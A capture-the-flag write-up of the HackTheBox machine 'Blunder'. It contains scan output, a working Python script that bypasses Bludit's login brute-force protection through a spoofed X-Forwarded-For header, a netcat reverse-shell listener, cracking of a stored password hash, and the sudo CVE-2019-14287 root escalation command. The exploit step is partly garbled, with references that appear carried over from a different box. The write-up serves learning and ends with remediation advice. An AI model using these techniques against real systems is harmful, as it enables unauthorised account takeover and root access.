HacktheBox 'Blunder' writeup
HacktheBox ‘Blunder’ Writeup
Host Information
| Hostname | IP Address | Operating System | Difficulty Level |
| Remote | 10.10.10.191 | Linux | Easy |
Initial Recon
nmap information
An initial full TCP nmap scan of the host was run with the following command:
sudo nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN "/0ps/HTB/blunder/scans/_full_tcp_nmap.txt" -oX "/0ps/HTB/blunder/scans/xml/_full_tcp_nmap.xml" 10.10.10.191
The following ports were revealed open on the target, followed by the full nmap script output below:
10.10.10.191
| Port | State | Service | Version |
|---|---|---|---|
| 21/tcp | closed | ftp | |
| 80/tcp | open | http | Apache httpd 2.4.41 |
# Nmap 7.80 scan initiated Wed Jun 10 15:35:49 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /0ps/HTB/blunder/scans/_full_tcp_nmap.txt -oX /0ps/HTB/blunder/scans/xml/_full_tcp_nmap.xml 10.10.10.191
Nmap scan report for 10.10.10.191
Host is up, received user-set (0.11s latency).
Scanned at 2020-06-10 15:35:49 CDT for 180s
Not shown: 65533 filtered ports
Reason: 65533 no-responses
PORT STATE SERVICE REASON VERSION
21/tcp closed ftp reset ttl 63
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: A0F0E5D852F0E3783AF700B6EE9D00DA
|_http-generator: Blunder
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts
OS fingerprint not ideal because: Didn't receive UDP response. Please try again with -sSU
Aggressive OS guesses: HP P2000 G3 NAS device (93%), Linux 2.6.22 - 2.6.36 (89%), Linux 2.6.32 (89%), Linux 2.6.32 - 2.6.39 (89%), Linux 2.6.32 - 3.1 (89%), Linux 2.6.34 (89%), Linux 2.6.36 - 2.6.39 (89%), Linux 2.6.37 (89%), Linux 2.6.39 (89%), Infomir MAG-250 set-top box (89%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.80%E=4%D=6/10%OT=80%CT=21%CU=%PV=Y%DS=2%DC=T%G=N%TM=5EE144D9%P=x86_64-pc-linux-gnu)
SEQ(TI=Z%CI=Z%TS=A)
SEQ(SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)
OPS(O1=M54DST11NW7%O2=NNT11%O3=M54DNNT11NW7%O4=NNT11%O5=M54DST11NW7%O6=NNT11)
WIN(W1=FE88%W2=1FD%W3=FE88%W4=1FC%W5=FE88%W6=1FD)
ECN(R=Y%DF=Y%TG=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%TG=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%TG=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=40%CD=S)
Uptime guess: 0.173 days (since Wed Jun 10 11:30:15 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 35.93 ms 10.10.14.1
2 132.70 ms 10.10.10.191
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun 10 15:38:49 2020 -- 1 IP address (1 host up) scanned in 180.51 seconds
nmap scan observations
We see that the target is linux, possibly Ubuntu based on the service information/banner grab from the apache server. We see that only two ports are apparently showing, FTP and HTTP. However, the FTP port appears to be closed, leaving HTTP (Apache 2.4.41) to be the likely good place to start.
HTTP enumeration
A gobuster scan of the web service on port 80 served by apache is run with the following command:
gobuster dir -u http://10.10.10.191:80/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -z -k -l -x "txt,html,php,asp,aspx,jsp" -o "/0ps/HTB/blunder/scans/tcp_80_http_gobuster.txt"
The results are shown below, filtering out 403 statuses:
/0 (Status: 200) [Size: 7561]
/LICENSE (Status: 200) [Size: 1083]
/about (Status: 200) [Size: 3280]
/admin (Status: 301) [Size: 0]
/cgi-bin/ (Status: 301) [Size: 0]
/install.php (Status: 200) [Size: 30]
/robots.txt (Status: 200) [Size: 22]
/robots.txt (Status: 200) [Size: 22]
/todo.txt (Status: 200) [Size: 118]
Upon visit to the main page, as well as the /0 resource, it appears to be a pretty simple blog. Going to /todo.txt shows the following:
-Update the CMS
-Turn off FTP - DONE
-Remove old users - DONE
-Inform fergus that the new blog needs images - PENDING
OK, so that explains FTP being closed or disabled. Potentially fergus is the username for a login to the CMS/blog platform?
The file robots.txt showed the following, with nothing of interest disallowed:
HTTP/1.1 200 OK
Date: Wed, 10 Jun 2020 20:37:20 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 22
Content-Type: text/plain;charset=UTF-8
User-agent: *
Allow: /
Visiting /install.php, we’re presented with the following message on the page:
Bludit is already installed ;)
A quick web search for Bludit reveals it is indeed a CMS, as shown here: https://www.bludit.com/
A nikto scan of the host shows the following:
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.191
+ Target Hostname: 10.10.10.191
+ Target Port: 80
+ Start Time: 2020-06-10 15:36:02 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ Retrieved x-powered-by header: Bludit
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ All CGI directories 'found', use '-C none' to test none
+ "robots.txt" contains 1 entry which should be manually viewed.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ /admin/config.php: PHP Config file may contain database IDs and passwords.
+ /admin/cplogfile.log: DevBB 1.0 final (http://www.mybboard.com) log file is readable remotely. Upgrade to the latest version.
+ /admin/system_footer.php: myphpnuke version 1.8.8_final_7 reveals detailed system information.
+ OSVDB-3233: /admin/admin_phpinfo.php4: Mon Album from http://www.3dsrc.com version 0.6.2d allows remote admin access. This should be protected.
+ OSVDB-5034: /admin/login.php?action=insert&username=test&password=test: phpAuction may allow user admin accounts to be inserted without proper authentication. Attempt to log in with user 'test' password 'test' to verify.
+ OSVDB-376: /admin/contextAdmin/contextAdmin.html: Tomcat may be configured to let attackers read arbitrary files. Restrict access to /admin.
+ OSVDB-2813: /admin/database/wwForum.mdb: Web Wiz Forums pre 7.5 is vulnerable to Cross-Site Scripting attacks. Default login/pass is Administrator/letmein
+ OSVDB-2922: /admin/wg_user-info.ml: WebGate Web Eye exposes user names and passwords.
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3093: /admin/auth.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/cfg/configscreen.inc.php+: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/cfg/configsite.inc.php+: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/cfg/configsql.inc.php+: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/cfg/configtache.inc.php+: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/cms/htmltags.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/credit_card_info.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/exec.php3: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/index.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/modules/cache.php+: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/objects.inc.php4: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/script.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/settings.inc.php+: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/templates/header.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/upload.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-4238: /admin/adminproc.asp: Xpede administration page may be available. The /admin directory should be protected.
+ OSVDB-4239: /admin/datasource.asp: Xpede page reveals SQL account name. The /admin directory should be protected.
+ OSVDB-9624: /admin/admin.php?adminpy=1: PY-Membres 4.2 may allow administrator access.
+ OSVDB-3092: /install.php: install.php file found.
+ /admin/account.asp: Admin login page/section found.
+ /admin/account.html: Admin login page/section found.
+ /admin/account.php: Admin login page/section found.
+ /admin/controlpanel.asp: Admin login page/section found.
+ /admin/controlpanel.html: Admin login page/section found.
+ /admin/controlpanel.php: Admin login page/section found.
+ /admin/cp.asp: Admin login page/section found.
+ /admin/cp.html: Admin login page/section found.
+ /admin/cp.php: Admin login page/section found.
+ /admin/home.asp: Admin login page/section found.
+ /admin/home.php: Admin login page/section found.
+ /admin/index.asp: Admin login page/section found.
+ /admin/index.html: Admin login page/section found.
+ /admin/login.asp: Admin login page/section found.
+ /admin/login.html: Admin login page/section found.
+ /admin/login.php: Admin login page/section found.
+ /admin/html: Tomcat Manager / Host Manager interface found (pass protected)
+ /admin/status: Tomcat Server Status interface found (pass protected)
+ /admin/sites/new: ComfortableMexicanSofa CMS Engine Admin Backend (pass protected)
+ /.gitignore: .gitignore file found. It is possible to grasp the directory structure.
+ 26494 requests: 0 error(s) and 54 item(s) reported on remote host
+ End Time: 2020-06-10 16:14:41 (GMT-5) (2319 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
The /admin pages directs us to a login, as expected. Viewing the source of the admin page seems to indicate that the version of the CMS based on asset URL query strings, may be 3.9.2
<!-- Favicon -->
<link rel="shortcut icon" type="image/x-icon" href="/bl-kernel/img/favicon.png?version=3.9.2">
<!-- CSS -->
<link rel="stylesheet" type="text/css" href="http://10.10.10.191/bl-kernel/css/bootstrap.min.css?version=3.9.2">
<link rel="stylesheet" type="text/css" href="http://10.10.10.191/bl-kernel/admin/themes/booty/css/bludit.css?version=3.9.2">
<link rel="stylesheet" type="text/css" href="http://10.10.10.191/bl-kernel/admin/themes/booty/css/bludit.bootstrap.css?version=3.9.2">
<!-- Javascript -->
<script src="http://10.10.10.191/bl-kernel/js/jquery.min.js?version=3.9.2"></script>
<script src="http://10.10.10.191/bl-kernel/js/bootstrap.bundle.min.js?version=3.9.2"></script>
<!-- Plugins -->
</head>
Googling for credentials for Bludit 3.9.2, we come across an interesting blog post about bruteforce protection bypass in the CMS.
We can create a python script to take advantage of this brute force upload bypass using the following python script, modifying the original PoC to use a wordlist file.
#!/usr/bin/env python3
import re
import requests
host = 'http://10.10.10.191'
login_url = host + '/admin/login'
username = 'fergus'
file = "blunder.txt"
with open(file) as f:
content = f.readlines()
bruteList = [x.strip() for x in content]
wordlist = bruteList
for password in wordlist:
session = requests.Session()
login_page = session.get(login_url)
csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)
print('[*] Trying: {p}'.format(p = password))
headers = {
'X-Forwarded-For': password,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
'Referer': login_url
}
data = {
'tokenCSRF': csrf_token,
'username': username,
'password': password,
'save': ''
}
login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False)
if 'location' in login_result.headers:
if '/admin/dashboard' in login_result.headers['location']:
print()
print('SUCCESS: Password found!')
print('Use {u}:{p} to login.'.format(u = username, p = password))
print()
break
Trying a few wordlists with both the usernames ‘admin’ and ‘fergus’ (mentioned in the to-do list) yielded no results. So we can use cewl to generate a custom wordlist based on page text. For this situation, i’ll tell cewl to spider/crawl the site to a max depth of 5 resources deep, and to set the minimum word length to 3. We’ll have the output file be blunder.txt
cewl -w blunder.txt -d 5 -m 3 http://10.10.10.191
Running this with the username admin yields no matches, but the username ‘fergus’ finds a valid password, as shown below:
[*] Trying: him
[*] Trying: Distinguished
[*] Trying: Contribution
[*] Trying: Letters
[*] Trying: probably
[*] Trying: best
[*] Trying: fictional
[*] Trying: character
[*] Trying: RolandDeschain
SUCCESS: Password found!
Use fergus:RolandDeschain to login.
Trying these credentials, we see that our login is successful, as shown below:
gaining an initial foothold
Now that we have a login, we can utilize that authentication to attempt an image upload exploit that leverages directory traversal, as shown in the below searchsploit results:
initinfosec@kali:/0ps/HTB/blunder/exploit$ searchsploit bludit
------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Bludit - Directory Traversal Image File Upload (Metasploit) | php/remote/47699.rb
bludit Pages Editor 3.0.0 - Arbitrary File Upload | php/webapps/46060.txt
------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Once done, we can start a listener on whatever port is defined in the ps1 file, in this case 443:
sudo nc -lvnp 443
And finally we can fire off the exploit. We see the following launching the exploit:
initinfosec@kali:/0ps/HTB/remote/exploit$ python3 46153.py
Start
[]
And in our Simple HTTP Server terminal, we see a successful 200 response to the HTTP GET request, meaning the file was successfully retrieved by the target.
Finally, checking our listener, we see we received a remote shell from the target, as shown in the below screenshot:
From here we can proceed to grab the user.txt flag from the Public users directory.
Lateral Movement
Once in as the www-data user, we begin browsing. One thing of interest to check out is the ftp directory, as the service was mentioned in the to-do as disabled, and showed up in scans.
Upon going there, we see the following:
www-data@blunder:/ftp$ ls
ls
D5100_EN.pdf config config.json note.txt
www-data@blunder:/ftp$ ls -ltra
ls -ltra
total 10928
-rw-r--r-- 1 root root 271056 Nov 27 2019 config
-rw-r--r-- 1 root root 10899227 Nov 27 2019 D5100_EN.pdf
-rw-r--r-- 1 root root 828 Nov 27 2019 config.json
-rw-r--r-- 1 root root 260 Nov 27 2019 note.txt
drwxr-xr-x 2 nobody nogroup 4096 Nov 27 2019 .
drwxr-xr-x 21 root root 4096 Apr 27 14:09 ..
www-data@blunder:/ftp$ cat note.txt
cat note.txt
Hey Sophie
I've left the thing you're looking for in here for you to continue my work
when I leave. The other thing is the same although Ive left it elsewhere too.
Its using the method we talked about; dont leave it on a post-it note this time!
Thanks
Shaun
We can view the config file which appears to be a .tar.gz file, and config.json - the config.json file doesn’t appear to be immediately useful, and decompressing the config file just shows an audio file buzz.wav.
Remembering what the to-do list said about the new site needing images, we find that there’s another bludit install for version 3.10.0a. Going to the directory, we find some interesting information in the databases directory, as shown below:
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ ll
ll
total 72
-rw-r--r-- 1 www-data www-data 52 May 19 10:03 tags.php
-rw-r--r-- 1 www-data www-data 2276 May 19 10:03 syslog.php
-rw-r--r-- 1 www-data www-data 1319 May 19 10:03 site.php
-rw-r--r-- 1 www-data www-data 42844 May 19 10:03 security.php
drwxr-xr-x 6 www-data www-data 4096 May 19 10:03 plugins
-rw-r--r-- 1 www-data www-data 3437 May 19 10:03 pages.php
-rw-r--r-- 1 www-data www-data 438 May 19 10:03 categories.php
-rw-r--r-- 1 www-data www-data 597 May 19 10:10 users.php
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cat users.php
cat users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
"admin": {
"nickname": "Hugo",
"firstName": "Hugo",
"lastName": "",
"role": "User",
"password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
"email": "",
"registered": "2019-11-27 07:40:55",
"tokenRemember": "",
"tokenAuth": "b380cb62057e9da47afce66b4615107d",
"tokenAuthTTL": "2009-03-15 14:00",
"twitter": "",
"facebook": "",
"instagram": "",
"codepen": "",
"linkedin": "",
"github": "",
"gitlab": ""}
}
Using https://crackstation.net/, we see that the password field is a SHA1 hash translating to Password120:
Using this with su - hugo, we see the switch user is successful, allowing us to gain the user.txt file.
Privilege Escalation
PrivEsc enumeration
Once the user ‘hugo’ we can run sudo -l first to see what privileges we have.
The following is returned:
hugo@blunder:~$ sudo -l
sudo -l
Password: Password120
Matching Defaults entries for hugo on blunder:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User hugo may run the following commands on blunder:
(ALL, !root) /bin/bash
We see that we can run /bin/bash as any user that is not root. We can quickly confirm this trying root, and then try to get a shell as shaun, another user we know exists on the system.
hugo@blunder:~$ sudo /bin/bash
sudo /bin/bash
Sorry, user hugo is not allowed to execute '/bin/bash' as root on blunder.
hugo@blunder:~$ sudo -u shaun /bin/bash
sudo -u shaun /bin/bash
shaun@blunder:/home/hugo$
A little while was spent searching from the perspective of shaun, with no clear advantage gained from this new vantage.
gaining system
Let’s go back to hugo for a moment though. Checking our sudo version, we see the following:
hugo@blunder:~$ sudo -V
sudo -V
Sudo version 1.8.25p1
Sudoers policy plugin version 1.8.25p1
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.25p1
It’s fairly well known that sudo versions below 1.8.28 are subject to an unintended PrivEsc vulnerability designated as CVE-2019-14287. This vulnerability failed to properly validate user input in the user arguments for sudo, so that if you used a negative number, you could run the command specified as root. This still only allowed for the specific command specified in the sudoers file to be run, but whatever command was allowed would be run as root, provided you were in the sudoers file and had the proper password (or NOPASSWD set.) You can find more info on RedHat’s blog about this sudo vulnerability here.
Since the user hugo is allowed to run bash, we can try to leverage this vulnerability to spawn a bash shell as root due to this version of sudo failing to properly validate the -1 value. The sudo exploit is run below against the target, indeed spawning a root shell, as shown in both the terminal output below, as well as the screenshot:
hugo@blunder:~$ sudo -u#-1 /bin/bash
sudo -u#-1 /bin/bash
root@blunder:/home/hugo#
Conclusion
Recommended Remediations
-
Patch the CMS to address the file upload vulnerability
-
Avoid having config files or backups with potentially sensitive information in plaintext. Even though the passwords were hashed, files with potentially sensitive information should be stored in a place that is further protected, e.g. offline or in a different location, or if they must be on the local system, in an encrypted/security file, such as an encrypted zip perhaps
-
Patch the Ubuntu Linux system to address the sudo vulnerability exploited, as well as applying other security updates.
All for now; until next time.
~@initinfosec
Let me know what you think of this article on twitter @initinfosec or leave a comment below!